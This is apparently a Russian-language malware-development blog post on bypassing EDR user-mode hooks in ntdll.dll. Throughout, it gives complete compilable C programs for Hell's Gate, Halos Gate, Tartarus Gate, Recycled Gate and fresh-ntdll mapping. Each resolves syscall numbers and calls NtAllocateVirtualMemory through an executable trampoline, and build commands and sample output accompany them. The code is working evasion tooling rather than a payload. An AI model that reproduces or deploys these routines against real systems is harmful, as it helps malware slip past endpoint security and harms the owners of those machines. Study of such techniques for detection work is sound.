Malware Development | Direct Syscalls & Gates

2026-09-21

Зачем вообще все это нужно? EDR ставит свои хуки прямо в ntdll.dll файл, состоящий из стабов сисколлов.

Каждая функция (например NtAllocateVirtualMemory) выглядит примерно так:

NtAllocateVirtualMemory:
    mov r10, rcx  ;4c 8b d1
    mov eax, 0x18 ;b8 18 00 00 00 = SSN
    syscall       ;0f 05
    ret           ;c3

в Windows SSN меняются от версии к версии (в отличие от Linux, где например execve всегда 59, и на это можно рассчитывать)


(1) Проверка на хуки

Чистый стаб ntdll.dll всегда начинается с 4c 8b d1 (mov r10, rcx). Хукнутый стаб начинается с e9 (jmp) или ff 25 (косвенный jmp). Простой сканер:

#include <windows.h>
#include <stdio.h>

static const char* HookTypeStr(BYTE x, BYTE y) {
    if (x == 0xe9) return "rel jmp";
    if (x == 0xff && y == 0x25) return "ind jmp";
    if (x == 0x68) return "push ret";
    if (x == 0xeb) return "short jmp";
    return "unknown";
}

static BOOL IsHooked(const BYTE *fn) {
    return !(fn[0] == 0x4c && fn[1] == 0x8b && fn[2] == 0xd1) && fn[0] != 0xb8;
}

int main(int argc, char **argv) {
    BOOL verbose = (argc > 1 && strcmp(argv[1], "-v") == 0);
    HMODULE base = GetModuleHandleA("ntdll.dll");

    IMAGE_DOS_HEADER *pDos = (IMAGE_DOS_HEADER*)base;
    IMAGE_NT_HEADERS *pNt  = (IMAGE_NT_HEADERS*)((BYTE*)base + pDos->e_lfanew);
    IMAGE_EXPORT_DIRECTORY *pExp =
        (IMAGE_EXPORT_DIRECTORY*)((BYTE*)base +
            pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    DWORD *pNames    = (DWORD*)((BYTE*)base + pExp->AddressOfNames);
    WORD  *pOrdinals = (WORD*) ((BYTE*)base + pExp->AddressOfNameOrdinals);
    DWORD *pFns      = (DWORD*)((BYTE*)base + pExp->AddressOfFunctions);

    int scanned = 0, hooked = 0;
    for (DWORD i = 0; i < pExp->NumberOfNames; i++) {
        char *name = (char*)((BYTE*)base + pNames[i]);
        if ((name[0] != 'N' || name[1] != 't') &&
            (name[0] != 'Z' || name[1] != 'w'))
            continue;
        scanned++;
        BYTE *fn = (BYTE*)base + pFns[pOrdinals[i]];
        if (IsHooked(fn)) {
            hooked++;
            if (verbose)
                printf("[!] %-40s  %s\n", name, HookTypeStr(fn[0], fn[1]));
        }
    }

    if (hooked == 0)
        printf("[+] ntdll чистый (%d стабов)\n", scanned);
    else
        printf("[!] %d/%d хукнутых\n", hooked, scanned);

    return 0;
}

(2) Hell’s Gate

Просто техника парсинга ntdll.dll для DS. Код ищет mov r10, rcx; mov eax, SSN в стабах:

if (// паттерн 4c 8b d1 b8 L H 00 00
    stub[0] == 0x4c && stub[1] == 0x8b && stub[2] == 0xd1 && 
    stub[3] == 0xb8 && stub[6] == 0x00 && stub[7] == 0x00 
    )

Ищем syscall number путем парса ntdll.dll (PEB вместо GetModuleHandle). Ищем паттерн 4c 8b d1 b8 ?? ?? 00 00 и достаем SSN из байт 4-5 (попробовать с regexp?)

#include <windows.h>
#include <winternl.h>
#include <stdio.h>

typedef NTSTATUS (NTAPI *NtAllocFn)(HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);

static DWORD HashA(const char *s) {
    DWORD h = 5381;
    while (*s) h = h * 33 + (BYTE)*s++;
    return h;
}

static DWORD HashW(const wchar_t *s) {
    DWORD h = 5381;
    while (*s) {
        wchar_t c = (*s >= L'A' && *s <= L'Z') ? *s + 32 : *s;
        h = h * 33 + (BYTE)c;
        s++;
    }
    return h;
}

static PVOID GetNtdll(void) {
    PEB *peb = (PEB *)__readgsqword(0x60);
    LIST_ENTRY *head = &peb->Ldr->InMemoryOrderModuleList;
    LIST_ENTRY *cur  = head->Flink;
    DWORD target = HashW(L"ntdll.dll");
    while (cur != head) {
        LDR_DATA_TABLE_ENTRY *e = CONTAINING_RECORD(cur, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        if (e->FullDllName.Buffer) {
            wchar_t *base = e->FullDllName.Buffer;
            USHORT n = e->FullDllName.Length / sizeof(wchar_t);
            for (USHORT i = 0; i < n; i++)
                if (e->FullDllName.Buffer[i] == L'\\')
                    base = e->FullDllName.Buffer + i + 1;
            if (HashW(base) == target)
                return e->DllBase;
        }
        cur = cur->Flink;
    }
    return NULL;
}

static PBYTE GetProc(PVOID base, DWORD hash) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((PBYTE)base + dos->e_lfanew);
    DWORD rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)base + rva);
    PDWORD names = (PDWORD)((PBYTE)base + exp->AddressOfNames);
    PWORD  ords  = (PWORD) ((PBYTE)base + exp->AddressOfNameOrdinals);
    PDWORD funcs = (PDWORD)((PBYTE)base + exp->AddressOfFunctions);
    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        const char *name = (const char *)((PBYTE)base + names[i]);
        if (HashA(name) == hash)
            return (PBYTE)base + funcs[ords[i]];
    }
    return NULL;
}

static DWORD ExtractSSN(PBYTE stub) {
    for (int i = 0; i < 32; i++) {
        if (stub[i]   == 0x4c && stub[i+1] == 0x8b && stub[i+2] == 0xd1 &&
            stub[i+3] == 0xb8)
            return *(DWORD *)(stub + i + 4);
    }
    return (DWORD)-1;
}

int main(void) {
    PVOID ntdll = GetNtdll();
    PBYTE stub  = GetProc(ntdll, HashA("NtAllocateVirtualMemory"));
    DWORD ssn   = ExtractSSN(stub);

    printf("stub[0..3] = %02x %02x %02x %02x  %s\n",
        stub[0], stub[1], stub[2], stub[3],
        ssn == (DWORD)-1 ? "[HOOKED]" : "[clean]");

    if (ssn == (DWORD)-1) { puts("hooked, bail"); return 1; }
    printf("SSN NtAllocateVirtualMemory = 0x%x\n", ssn);

    BYTE sc[] = {
        0x4c, 0x8b, 0xd1,
        0xb8, 0, 0, 0, 0,
        0x0f, 0x05,
        0xc3
    };
    *(DWORD *)(sc + 4) = ssn;

    PVOID tramp = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(tramp, sc, sizeof(sc));

    PVOID base = NULL; SIZE_T sz = 0x1000;
    NTSTATUS st = ((NtAllocFn)tramp)((HANDLE)-1, &base, 0, &sz, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    printf("NtAllocateVirtualMemory -> %p  status=0x%x\n", base, st);

    VirtualFree(tramp, 0, MEM_RELEASE);
    VirtualFree(base,  0, MEM_RELEASE);
    return 0;
}
cl /nologo /O2 main.c /link /subsystem:console kernel32.lib

(3) Halos Gate

Hell’s Gate работает только если стабы не хукнуты. Если хукнуты (jmp <edr> == 0xe9) => не будет нужных стабов, потому что паттерн другой. Halos Gate использует то, что стабы в ntdll.dll идут линейно с фиксированным размером 32 байта (stub(ssn=2) идет сразу после stub(ssn=1)). Если NtAllocateVirtualMemory с SSN=10 хукнут, а следующий NtXXX с SSN=11 чистый - просто берем соседа и вычисляем нужный SSN вручную. SSN(NtFunc) = SSN(neighbor)Δ\text{SSN(NtFunc) = SSN(neighbor)}-\Delta .

Идейно:

// проверяем соседей +-32 стаба - маловероятно что столько подряд хукнуто
for (int d = 1; d < 32; d++)
{
    PBYTE neighbor = stub + d*32; // следующий стаб => +32 байта
    if ( !isHooked(neighbor) && ScanCleanStub(neighbor,&n_ssn,&n_gate) )
    {
        target_ssn = n_ssn - d; // нужный SSN = SSN соседа - дельта
        break;
    }
    
    neighbor = stub - d*32; // предыдущий стаб
    
    if ( !isHooked(neighbor) && ScanCleanStub(neighbor,&n_ssn,&n_gate) )
    {
        target_ssn = n_ssn + d;
        break;
    }
}

Рабочий пример:

#include <windows.h>
#include <winternl.h>
#include <stdio.h>

typedef NTSTATUS (NTAPI *NtAllocFn)(HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);

#define STUB_SIZE 32

static DWORD HashA(const char *s) {
    DWORD h = 5381;
    while (*s) h = h * 33 + (BYTE)*s++;
    return h;
}

static DWORD HashW(const wchar_t *s) {
    DWORD h = 5381;
    while (*s) {
        wchar_t c = (*s >= L'A' && *s <= L'Z') ? *s + 32 : *s;
        h = h * 33 + (BYTE)c;
        s++;
    }
    return h;
}

static PVOID GetNtdll(void) {
    PEB *peb = (PEB *)__readgsqword(0x60);
    LIST_ENTRY *head = &peb->Ldr->InMemoryOrderModuleList;
    LIST_ENTRY *cur  = head->Flink;
    
    DWORD target = HashW(L"ntdll.dll");//22d3b5ed
    while (cur != head) {
        LDR_DATA_TABLE_ENTRY *e = CONTAINING_RECORD(cur, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        if (e->FullDllName.Buffer) {
            wchar_t *base = e->FullDllName.Buffer;
            USHORT n = e->FullDllName.Length / sizeof(wchar_t);
            for (USHORT i = 0; i < n; i++)
                if (e->FullDllName.Buffer[i] == L'\\')
                    base = e->FullDllName.Buffer + i + 1;
            if (HashW(base) == target)
                return e->DllBase;
        }
        cur = cur->Flink;
    }
    return NULL;
}

static PBYTE GetProc(PVOID base, DWORD hash) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((PBYTE)base + dos->e_lfanew);
    DWORD rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)base + rva);
    PDWORD names = (PDWORD)((PBYTE)base + exp->AddressOfNames);
    PWORD  ords  = (PWORD) ((PBYTE)base + exp->AddressOfNameOrdinals);
    PDWORD funcs = (PDWORD)((PBYTE)base + exp->AddressOfFunctions);
    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        const char *name = (const char *)((PBYTE)base + names[i]);
        if (HashA(name) == hash)
            return (PBYTE)base + funcs[ords[i]];
    }
    return NULL;
}

static BOOL IsHooked(PBYTE stub) {
    return stub[0] == 0xe9;
}

static DWORD ScanSSN(PBYTE stub) {
    for (int i = 0; i < 32; i++) {
        if (stub[i]   == 0x4c && stub[i+1] == 0x8b && stub[i+2] == 0xd1 &&
            stub[i+3] == 0xb8)
            return *(DWORD *)(stub + i + 4);
    }
    return (DWORD)-1;
}

static DWORD HalosGate(PBYTE stub) {
    for (int d = 1; d <= 32; d++) {
        for (int sign = -1; sign <= 1; sign += 2) {
            PBYTE neighbor = stub + sign * d * STUB_SIZE;
            if (!IsHooked(neighbor)) {
                DWORD nssn = ScanSSN(neighbor);
                if (nssn != (DWORD)-1)
                    return nssn - sign * d;
            }
        }
    }
    return (DWORD)-1;
}

int main(void) {
    PVOID ntdll = GetNtdll();
    PBYTE stub  = GetProc(ntdll, HashA("NtAllocateVirtualMemory"));

    DWORD ssn;
    if (IsHooked(stub)) {
        printf("stub[0] = e9 -> JMP hook, running Halos Gate\n");
        ssn = HalosGate(stub);
    } else {
        printf("stub чистый\n");
        ssn = ScanSSN(stub);
    }

    if (ssn == (DWORD)-1) { puts("SSN resolve failed"); return 1; }
    printf("SSN NtAllocateVirtualMemory = 0x%x\n", ssn);

    BYTE sc[] = {
        0x4c, 0x8b, 0xd1,
        0xb8, 0, 0, 0, 0,
        0x0f, 0x05,
        0xc3
    };
    *(DWORD *)(sc + 4) = ssn;

    PVOID tramp = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(tramp, sc, sizeof(sc));

    PVOID base = NULL; SIZE_T sz = 0x1000;
    NTSTATUS st = ((NtAllocFn)tramp)((HANDLE)-1, &base, 0, &sz, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    printf("NtAllocateVirtualMemory -> %p  status=0x%x\n", base, st);

    VirtualFree(tramp, 0, MEM_RELEASE);
    VirtualFree(base,  0, MEM_RELEASE);
    return 0;
}
cl /nologo /O2 main.c /link /subsystem:console kernel32.lib

(4) Tartarus Gate

Расширение Halos Gate. Некоторые EDR на старых версиях Windows заменяют syscall на int 2e (cd 2e) вместо jmp. Tartarus Gate добавляет эту сигнатуру в проверку хука (насколько я понял эту технику)

#include <windows.h>
#include <winternl.h>
#include <stdio.h>

typedef NTSTATUS (NTAPI *NtAllocFn)(HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);

#define STUB_SIZE 32

static DWORD HashA(const char *s) {
    DWORD h = 5381;
    while (*s) h = h * 33 + (BYTE)*s++;
    return h;
}

static DWORD HashW(const wchar_t *s) {
    DWORD h = 5381;
    while (*s) {
        wchar_t c = (*s >= L'A' && *s <= L'Z') ? *s + 32 : *s;
        h = h * 33 + (BYTE)c;
        s++;
    }
    return h;
}

static PVOID GetNtdll(void) {
    PEB *peb = (PEB *)__readgsqword(0x60);
    LIST_ENTRY *head = &peb->Ldr->InMemoryOrderModuleList;
    LIST_ENTRY *cur  = head->Flink;
    DWORD target = HashW(L"ntdll.dll");
    while (cur != head) {
        LDR_DATA_TABLE_ENTRY *e = CONTAINING_RECORD(cur, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        if (e->FullDllName.Buffer) {
            wchar_t *base = e->FullDllName.Buffer;
            USHORT n = e->FullDllName.Length / sizeof(wchar_t);
            for (USHORT i = 0; i < n; i++)
                if (e->FullDllName.Buffer[i] == L'\\')
                    base = e->FullDllName.Buffer + i + 1;
            if (HashW(base) == target)
                return e->DllBase;
        }
        cur = cur->Flink;
    }
    return NULL;
}

static PBYTE GetProc(PVOID base, DWORD hash) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((PBYTE)base + dos->e_lfanew);
    DWORD rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)base + rva);
    PDWORD names = (PDWORD)((PBYTE)base + exp->AddressOfNames);
    PWORD  ords  = (PWORD) ((PBYTE)base + exp->AddressOfNameOrdinals);
    PDWORD funcs = (PDWORD)((PBYTE)base + exp->AddressOfFunctions);
    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        const char *name = (const char *)((PBYTE)base + names[i]);
        if (HashA(name) == hash)
            return (PBYTE)base + funcs[ords[i]];
    }
    return NULL;
}

static BOOL IsHooked(PBYTE stub) {
    return stub[0] == 0xe9 || (stub[0] == 0xcd && stub[1] == 0x2e);
}

static const char *HookType(PBYTE stub) {
    if (stub[0] == 0xe9)                    return "JMP";
    if (stub[0] == 0xcd && stub[1] == 0x2e) return "INT 2E";
    return "clean";
}

static DWORD ScanSSN(PBYTE stub) {
    for (int i = 0; i < 32; i++) {
        if (stub[i]   == 0x4c && stub[i+1] == 0x8b && stub[i+2] == 0xd1 &&
            stub[i+3] == 0xb8)
            return *(DWORD *)(stub + i + 4);
    }
    return (DWORD)-1;
}

static DWORD TartarusGate(PBYTE stub) {
    for (int d = 1; d <= 32; d++) {
        for (int sign = -1; sign <= 1; sign += 2) {
            PBYTE neighbor = stub + sign * d * STUB_SIZE;
            if (!IsHooked(neighbor)) {
                DWORD nssn = ScanSSN(neighbor);
                if (nssn != (DWORD)-1)
                    return nssn - sign * d;
            }
        }
    }
    return (DWORD)-1;
}

int main(void) {
    PVOID ntdll = GetNtdll();
    PBYTE stub  = GetProc(ntdll, HashA("NtAllocateVirtualMemory"));

    printf("stub[0..3] = %02x %02x %02x %02x  -> %s\n",
        stub[0], stub[1], stub[2], stub[3], HookType(stub));

    DWORD ssn;
    if (IsHooked(stub)) {
        ssn = TartarusGate(stub);
        printf("Tartarus Gate derived SSN = 0x%x\n", ssn);
    } else {
        ssn = ScanSSN(stub);
        printf("direct SSN = 0x%x\n", ssn);
    }

    if (ssn == (DWORD)-1) { puts("SSN resolve failed"); return 1; }

    BYTE sc[] = {
        0x4c, 0x8b, 0xd1,
        0xb8, 0, 0, 0, 0,
        0x0f, 0x05,
        0xc3
    };
    *(DWORD *)(sc + 4) = ssn;

    PVOID tramp = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(tramp, sc, sizeof(sc));

    PVOID base = NULL; SIZE_T sz = 0x1000;
    NTSTATUS st = ((NtAllocFn)tramp)((HANDLE)-1, &base, 0, &sz, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    printf("NtAllocateVirtualMemory -> %p  status=0x%x\n", base, st);

    VirtualFree(tramp, 0, MEM_RELEASE);
    VirtualFree(base,  0, MEM_RELEASE);
    return 0;
}
cl /nologo /O2 main.c /link /subsystem:console kernel32.lib

(5) Recycled Gate

берем syscall ; ret из ntdll.dll.

Все прошлые техники имели большую проблему : в нормальных ситуациях программы не пользуются прямыми сисколами \Rightarrow красный флаг для EDR. Также во время сискола RIP указывает на наш участок кода , что тоже является ред флагом для EDR (проводится проверка кол стека, это можно обойти Call Stack Spoofing техниками). Решение - Recycled Gate: ищем готовый гаджет syscall ; ret (0f 05 c3) внутри .text секции ntdll.dll и прыгаем на него. В момент сискола RIP находится в ntdll.dll

#include <windows.h>
#include <winternl.h>
#include <stdio.h>

typedef NTSTATUS (NTAPI *NtAllocFn)(HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);

static DWORD HashA(const char *s) {
    DWORD h = 5381;
    while (*s) h = h * 33 + (BYTE)*s++;
    return h;
}

static DWORD HashW(const wchar_t *s) {
    DWORD h = 5381;
    while (*s) {
        wchar_t c = (*s >= L'A' && *s <= L'Z') ? *s + 32 : *s;
        h = h * 33 + (BYTE)c;
        s++;
    }
    return h;
}

static PVOID GetNtdll(void) {
    PEB *peb = (PEB *)__readgsqword(0x60);
    LIST_ENTRY *head = &peb->Ldr->InMemoryOrderModuleList;
    LIST_ENTRY *cur  = head->Flink;
    DWORD target = HashW(L"ntdll.dll");
    while (cur != head) {
        LDR_DATA_TABLE_ENTRY *e = CONTAINING_RECORD(cur, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        if (e->FullDllName.Buffer) {
            wchar_t *base = e->FullDllName.Buffer;
            USHORT n = e->FullDllName.Length / sizeof(wchar_t);
            for (USHORT i = 0; i < n; i++)
                if (e->FullDllName.Buffer[i] == L'\\')
                    base = e->FullDllName.Buffer + i + 1;
            if (HashW(base) == target)
                return e->DllBase;
        }
        cur = cur->Flink;
    }
    return NULL;
}

static PBYTE GetProc(PVOID base, DWORD hash) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((PBYTE)base + dos->e_lfanew);
    DWORD rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)base + rva);
    PDWORD names = (PDWORD)((PBYTE)base + exp->AddressOfNames);
    PWORD  ords  = (PWORD) ((PBYTE)base + exp->AddressOfNameOrdinals);
    PDWORD funcs = (PDWORD)((PBYTE)base + exp->AddressOfFunctions);
    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        const char *name = (const char *)((PBYTE)base + names[i]);
        if (HashA(name) == hash)
            return (PBYTE)base + funcs[ords[i]];
    }
    return NULL;
}

static DWORD ExtractSSN(PBYTE stub) {
    for (int i = 0; i < 32; i++) {
        if (stub[i]   == 0x4c && stub[i+1] == 0x8b && stub[i+2] == 0xd1 &&
            stub[i+3] == 0xb8)
            return *(DWORD *)(stub + i + 4);
    }
    return (DWORD)-1;
}

static PBYTE FindGadget(PVOID base) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((PBYTE)base + dos->e_lfanew);
    PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
        if (sec->Characteristics & IMAGE_SCN_CNT_CODE) {
            PBYTE p = (PBYTE)base + sec->VirtualAddress;
            DWORD n = sec->Misc.VirtualSize;
            for (DWORD j = 0; j + 2 < n; j++) {
                if (p[j] == 0x0f && p[j+1] == 0x05 && p[j+2] == 0xc3)
                    return p + j;
            }
        }
    }
    return NULL;
}

int main(void) {
    PVOID ntdll  = GetNtdll();
    PBYTE stub   = GetProc(ntdll, HashA("NtAllocateVirtualMemory"));
    DWORD ssn    = ExtractSSN(stub);
    PBYTE gadget = FindGadget(ntdll);

    printf("stub[0..3] = %02x %02x %02x %02x  %s\n",
        stub[0], stub[1], stub[2], stub[3],
        ssn == (DWORD)-1 ? "[HOOKED]" : "[clean]");
    printf("SSN = 0x%x\ngadget @ %p\n", ssn, gadget);

    if (ssn == (DWORD)-1 || !gadget) return 1;

    BYTE sc[] = {
        0x4c, 0x8b, 0xd1,
        0xb8, 0, 0, 0, 0,
        0xff, 0x25, 0x00, 0x00, 0x00, 0x00,
        0, 0, 0, 0, 0, 0, 0, 0
    };
    *(DWORD *)(sc + 4)  = ssn;
    *(PVOID *)(sc + 14) = gadget;

    PVOID tramp = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(tramp, sc, sizeof(sc));

    PVOID base = NULL; SIZE_T sz = 0x1000;
    NTSTATUS st = ((NtAllocFn)tramp)((HANDLE)-1, &base, 0, &sz, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    printf("NtAllocateVirtualMemory -> %p  status=0x%x\n", base, st);

    VirtualFree(tramp, 0, MEM_RELEASE);
    VirtualFree(base,  0, MEM_RELEASE);
    return 0;
}
cl /nologo /O2 main.c /link /subsystem:console kernel32.lib

Вывод на чистой машине:

stub[0..3] = 4c 8b d1 b8  [clean]
SSN = 0x18
gadget @ 00007ffb12345abc
NtAllocateVirtualMemory -> 0000023400001000  status=0x0

Трамплин: mov r10,rcx + mov eax,ssn + jmp [rip+0] -> адрес гейта в ntdll. В момент syscall RIP указывает на ntdll, а не на наш код.


(6) Whispered Syscalls

Мапим новую копию ntdll.dll прямо с диска и вытаскиваем SSN из нее. EDR патчит ntdll.dll только в памяти процесса, файл на диске всегда чистый. SEC_IMAGE мапит файл так же как загрузчик, со всеми нужными офсетами

#include <windows.h>
#include <winternl.h>
#include <stdio.h>

typedef NTSTATUS (NTAPI *NtAllocFn)(HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);

static DWORD HashA(const char *s) {
    DWORD h = 5381;
    while (*s) h = h * 33 + (BYTE)*s++;
    return h;
}

static DWORD HashW(const wchar_t *s) {
    DWORD h = 5381;
    while (*s) {
        wchar_t c = (*s >= L'A' && *s <= L'Z') ? *s + 32 : *s;
        h = h * 33 + (BYTE)c;
        s++;
    }
    return h;
}

static PVOID GetNtdllBase(void) {
    PEB *peb = (PEB *)__readgsqword(0x60);
    LIST_ENTRY *head = &peb->Ldr->InMemoryOrderModuleList;
    LIST_ENTRY *cur  = head->Flink;
    DWORD target = HashW(L"ntdll.dll");
    while (cur != head) {
        LDR_DATA_TABLE_ENTRY *e = CONTAINING_RECORD(cur, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        if (e->FullDllName.Buffer) {
            wchar_t *base = e->FullDllName.Buffer;
            USHORT n = e->FullDllName.Length / sizeof(wchar_t);
            for (USHORT i = 0; i < n; i++)
                if (e->FullDllName.Buffer[i] == L'\\')
                    base = e->FullDllName.Buffer + i + 1;
            if (HashW(base) == target)
                return e->DllBase;
        }
        cur = cur->Flink;
    }
    return NULL;
}

static PVOID MapFreshNtdll(void) {
    wchar_t path[MAX_PATH];
    GetSystemDirectoryW(path, MAX_PATH);
    wcscat_s(path, MAX_PATH, L"\\ntdll.dll");
    HANDLE file = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if (file == INVALID_HANDLE_VALUE) return NULL;
    HANDLE map = CreateFileMappingA(file, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    CloseHandle(file);
    if (!map) return NULL;
    PVOID view = MapViewOfFile(map, FILE_MAP_READ, 0, 0, 0);
    CloseHandle(map);
    return view;
}

static PBYTE GetProcFromFresh(PVOID fresh, DWORD hash) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)fresh;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((PBYTE)fresh + dos->e_lfanew);
    DWORD rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)fresh + rva);
    PDWORD names = (PDWORD)((PBYTE)fresh + exp->AddressOfNames);
    PWORD  ords  = (PWORD) ((PBYTE)fresh + exp->AddressOfNameOrdinals);
    PDWORD funcs = (PDWORD)((PBYTE)fresh + exp->AddressOfFunctions);
    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        const char *name = (const char *)((PBYTE)fresh + names[i]);
        if (HashA(name) == hash)
            return (PBYTE)fresh + funcs[ords[i]];
    }
    return NULL;
}

static DWORD ExtractSSN(PBYTE stub) {
    for (int i = 0; i < 32; i++) {
        if (stub[i]   == 0x4c && stub[i+1] == 0x8b && stub[i+2] == 0xd1 &&
            stub[i+3] == 0xb8)
            return *(DWORD *)(stub + i + 4);
    }
    return (DWORD)-1;
}

int main(void) {
    PVOID loaded = GetNtdllBase();
    PVOID fresh  = MapFreshNtdll();
    if (!fresh) { puts("map failed"); return 1; }

    printf("loaded @ %p\nfresh  @ %p\n", loaded, fresh);

    DWORD hash = HashA("NtAllocateVirtualMemory");
    PBYTE stub_loaded = GetProcFromFresh(loaded, hash);
    PBYTE stub_fresh  = GetProcFromFresh(fresh, hash);

    printf("loaded stub[0..3] = %02x %02x %02x %02x  %s\n",
        stub_loaded[0], stub_loaded[1], stub_loaded[2], stub_loaded[3],
        stub_loaded[0] == 0x4c ? "[clean]" : "[HOOKED]");
    printf("fresh  stub[0..3] = %02x %02x %02x %02x  [always clean]\n",
        stub_fresh[0], stub_fresh[1], stub_fresh[2], stub_fresh[3]);

    DWORD ssn = ExtractSSN(stub_fresh);
    if (ssn == (DWORD)-1) { puts("SSN not found"); return 1; }
    printf("SSN from fresh ntdll = 0x%x\n", ssn);

    BYTE sc[] = {
        0x4c, 0x8b, 0xd1,
        0xb8, 0, 0, 0, 0,
        0x0f, 0x05,
        0xc3
    };
    *(DWORD *)(sc + 4) = ssn;

    PVOID tramp = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(tramp, sc, sizeof(sc));

    PVOID base = NULL; SIZE_T sz = 0x1000;
    NTSTATUS st = ((NtAllocFn)tramp)((HANDLE)-1, &base, 0, &sz, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    printf("NtAllocateVirtualMemory -> %p  status=0x%x\n", base, st);

    VirtualFree(tramp, 0, MEM_RELEASE);
    VirtualFree(base,  0, MEM_RELEASE);
    UnmapViewOfFile(fresh);
    return 0;
}
cl /nologo /O2 main.c /link /subsystem:console kernel32.lib

Если EDR хукнул и CreateFileMappingA/MapViewOfFile тоже, то можно использовать прямые сисколлы через уже резолвленные SSN для NtCreateSection/NtMapViewOfSection?